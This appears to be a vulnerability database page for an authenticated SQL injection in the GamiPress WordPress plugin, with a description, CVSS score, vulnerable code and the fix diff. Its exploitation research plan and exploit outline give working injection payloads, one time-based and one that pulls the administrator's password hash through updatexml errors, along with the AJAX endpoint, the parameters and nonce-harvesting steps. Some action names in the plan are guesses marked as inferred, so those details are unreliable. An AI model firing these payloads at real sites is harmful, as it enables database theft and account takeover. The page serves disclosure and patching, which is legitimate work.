CVE-2026-48874

GamiPress – Gamification plugin to reward points, achievements, badges & ranks in WordPress <= 7.8.7 - Authenticated (Subscriber+) SQL Injection

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
7.8.8
Patched in
7d
Time to patch

Description

The GamiPress – Gamification plugin to reward points, achievements, badges & ranks in WordPress plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 7.8.7 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=7.8.7
PublishedJune 2, 2026
Last updatedJune 8, 2026
Affected plugingamipress

What Changed in the Fix

Changes introduced in v7.8.8

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-48874 (GamiPress SQL Injection) This plan outlines the steps to verify and exploit a Subscriber-level SQL Injection vulnerability in the GamiPress plugin (version <= 7.8.7). ## 1. Vulnerability Summary The GamiPress plugin utilizes a custom table system (und…

Show full research plan

Exploitation Research Plan - CVE-2026-48874 (GamiPress SQL Injection)

This plan outlines the steps to verify and exploit a Subscriber-level SQL Injection vulnerability in the GamiPress plugin (version <= 7.8.7).

1. Vulnerability Summary

The GamiPress plugin utilizes a custom table system (under libraries/ct/) to manage logs and user earnings. The vulnerability exists in the query filtering logic for these tables, specifically within the gamipress_user_earnings_query_where function in includes/custom-tables/user-earnings.php.

The function fails to use wpdb->prepare() when constructing the WHERE clause for the parent_post_type parameter. Instead, it relies on sanitize_text_field(), which does not escape single quotes, and directly concatenates the user-supplied values into the SQL query string.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: gamipress_get_table_data (Inferred action for the CT_Ajax_List_Table system used by GamiPress) or gamipress_get_user_earnings (Inferred).
  • Vulnerable Parameter: parent_post_type (as an array)
  • Authentication: Authenticated, Subscriber level or higher.
  • Preconditions: The attacker must be logged in as a Subscriber and obtain a valid nonce from the gamipress_admin_functions localized script object.

3. Code Flow

  1. Entry Point: A Subscriber triggers an AJAX request to load their "Earnings" list.
  2. AJAX Handler: The request is routed to a handler that utilizes the CT_Query class to fetch data from the gamipress_user_earnings table.
  3. Filter Trigger: The CT_Query class applies the ct_query_where filter.
  4. Vulnerable Sink: gamipress_user_earnings_query_where (in includes/custom-tables/user-earnings.php) is called.
  5. Logic:
    • The code checks if( isset( $qv['parent_post_type'] ) ).
    • If parent_post_type is an array, it performs:
      $parent_post_type = array_map( 'sanitize_text_field', $qv['parent_post_type'] );
      $parent_post_type = "'" . implode( "', '", $parent_post_type ) . "'";
      $where .= " OR ppt.meta_value IN ( {$parent_post_type} )";
      
  6. Injection: Since sanitize_text_field doesn't escape ', an element like a') OR (SELECT 1 FROM (SELECT SLEEP(5))a) -- breaks out of the IN clause and executes arbitrary SQL.

4. Nonce Acquisition Strategy

The GamiPress plugin localizes nonces into the gamipress_admin_functions JavaScript object.

  1. Shortcode Setup: The [gamipress_earnings] shortcode enqueues the necessary scripts and localizes the nonce.
  2. Page Creation: Use WP-CLI to create a page containing this shortcode.
  3. Navigation: Navigate to this page as a Subscriber user.
  4. Extraction: Use browser_eval to extract the nonce:
    window.gamipress_admin_functions?.nonce
    

5. Exploitation Strategy

Step 1: Authentication & Nonce Extraction

Login as a subscriber and visit the page created in the setup phase to grab the nonce.

Step 2: Time-Based SQL Injection

Send an AJAX request to admin-ajax.php with the malicious payload.

  • Tool: http_request
  • Method: POST
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Parameters:
    • action: gamipress_get_table_data (If this fails, try ct_ajax_get_table_data or gamipress_get_user_earnings)
    • nonce: [EXTRACTED_NONCE]
    • table: gamipress_user_earnings
    • parent_post_type[]: a') OR (SELECT 1 FROM (SELECT SLEEP(5))a) --

Step 3: Verification

Monitor the response time. A delay of ~5 seconds confirms the injection.

6. Test Data Setup

  1. Create Subscriber:
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password
    
  2. Create Landing Page:
    wp post create --post_type=page --post_title="My Earnings" --post_status=publish --post_content='[gamipress_earnings]'
    
  3. Generate Sample Data (Optional):
    GamiPress needs some data in the custom tables for queries to process normally, though the injection should trigger regardless of results if the JOIN condition (ppt) is met by providing the parameter.

7. Expected Results

  • Success: The HTTP request takes significantly longer than usual (5+ seconds).
  • Failure: The request returns immediately with a 0, -1, or a JSON error indicating an invalid nonce or unauthorized action.

8. Verification Steps

After the http_request finishes, check the execution logs:

  1. Verify the elapsed time of the malicious request.
  2. If WP_DEBUG is enabled, check /wp-content/debug.log for SQL syntax errors which might reveal the final constructed query.

9. Alternative Approaches

Error-Based Injection

If the plugin or environment displays database errors, use updatexml to extract data:

  • Payload: a') OR updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1) --

Target: Logs Table

A similar vulnerability likely exists in includes/custom-tables/logs.php. If the earnings table is restricted, try the logs table:

  • Action: gamipress_get_table_data
  • Table: gamipress_logs
  • Vulnerable Parameter: type or access (Check if gamipress_custom_table_where for strings is also missing preparation).
Research Findings
Static analysis — not yet PoC-verified

Summary

The GamiPress plugin for WordPress is vulnerable to authenticated SQL Injection via the 'parent_post_type' parameter in the user earnings query logic. This occurs because the plugin uses sanitize_text_field()—which does not escape single quotes—and directly concatenates user input into a WHERE clause without using the $wpdb->prepare() method.

Vulnerable Code

// includes/custom-tables/user-earnings.php:221
    // Parent post type
    if( isset( $qv['parent_post_type'] ) && ! empty( $qv['parent_post_type'] ) ) {

        if( is_array( $qv['parent_post_type'] ) ) {
            // Sanitize
            $parent_post_type = array_map( 'sanitize_text_field', $qv['parent_post_type'] );
            $parent_post_type = "'" . implode( "', '", $parent_post_type ) . "'";

            $where .= " OR ppt.meta_value IN ( {$parent_post_type} )";
        } else {
            // Sanitize
            $parent_post_type = sanitize_text_field( $qv['parent_post_type'] );
            $where .= " OR ppt.meta_value = '{$parent_post_type}'";
        }
    }

Security Fix

--- includes/custom-tables/user-earnings.php
+++ includes/custom-tables/user-earnings.php
@@ -224,11 +224,14 @@
 
         if( is_array( $qv['parent_post_type'] ) ) {
             // Sanitize
-            $parent_post_type = array_map( 'sanitize_text_field', $qv['parent_post_type'] );
+            $parent_post_type = array_map( 'sanitize_text_field', $qv['parent_post_type'] );
+            $parent_post_type = array_map( 'esc_sql', $parent_post_type );
             $parent_post_type = "'" . implode( "', '", $parent_post_type ) . "'";
 
             $where .= " OR ppt.meta_value IN ( {$parent_post_type} )";
         } else {
             // Sanitize
-            $parent_post_type = sanitize_text_field( $qv['parent_post_type'] );
-            $where .= " OR ppt.meta_value = '{$parent_post_type}'";
+            $parent_post_type = sanitize_text_field( $qv['parent_post_type'] );
+            $where .= $wpdb->prepare( " OR ppt.meta_value = %s", $parent_post_type );
         }
     }

Exploit Outline

The exploit target is the GamiPress AJAX table loader. To execute the attack, an authenticated user (Subscriber or higher) must: 1. Retrieve a valid GamiPress AJAX nonce, which is typically localized in the 'gamipress_admin_functions' JavaScript object on pages containing GamiPress shortcodes like [gamipress_earnings]. 2. Send a POST request to /wp-admin/admin-ajax.php using the 'gamipress_get_table_data' action. 3. Supply the 'parent_post_type' parameter as an array containing a payload that breaks out of the SQL IN clause, such as: a') OR (SELECT 1 FROM (SELECT SLEEP(5))a) -- . 4. The lack of escaping on the single quote in the array element allows the attacker to inject arbitrary SQL logic, which can be verified using time-based techniques.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.